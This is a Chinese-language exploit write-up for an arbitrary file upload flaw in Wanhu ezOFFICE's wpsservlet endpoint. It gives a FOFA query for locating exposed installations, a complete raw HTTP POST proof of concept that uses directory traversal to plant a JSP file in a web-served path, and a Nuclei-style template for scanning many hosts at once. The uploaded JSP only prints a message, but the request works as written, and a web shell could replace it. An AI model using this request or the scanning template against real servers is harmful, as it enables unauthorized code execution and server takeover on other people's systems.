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文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负责

一：漏洞描述

万户ezOFFICE协同管理平台是一个综合信息基础应用平台。此系统wpsservlet存在任意文件上传。攻击者可上传恶意脚本文件获取服务器权限。

二：漏洞影响版本

万户ezoffice

三：网络空间测绘查询

fofa：
app="万户网络-ezOFFICE"

四：漏洞复现

POC:

POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=check&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=55aeb894de1521afe560c924fad7c6fb
Content-Length: 200--55aeb894de1521afe560c924fad7c6fb
Content-Disposition: form-data; name="NewFile"; filename="check.jsp"<% out.print("This website has a vulnerability!!!");%>
--55aeb894de1521afe560c924fad7c6fb--

访问/defaultroot/platform/portal/layout/check.jsp

五：批量检测

id: wanhu-ezoffice-wpsservlet-uploadinfo:name: wanhu-ezoffice-wpsservlet-uploadauthor: 芝士土拨鼠severity: highdescription: 万户ezOFFICE协同管理平台是一个综合信息基础应用平台。此系统wpsservlet存在任意文件上传。攻击者可上传恶意脚本文件获取服务器权限。requests:- raw:- |-POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=check&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=55aeb894de1521afe560c924fad7c6fbContent-Length: 200--55aeb894de1521afe560c924fad7c6fbContent-Disposition: form-data; name="NewFile"; filename="check.jsp"<% out.print("This website has a vulnerability!!!");%>--55aeb894de1521afe560c924fad7c6fb--- |GET /defaultroot/platform/portal/layout/check.jsp HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Accept-Encoding: gzipmatchers-condition: andmatchers:- type: wordpart: bodywords:- 'vulnerability'- type: statusstatus:- 200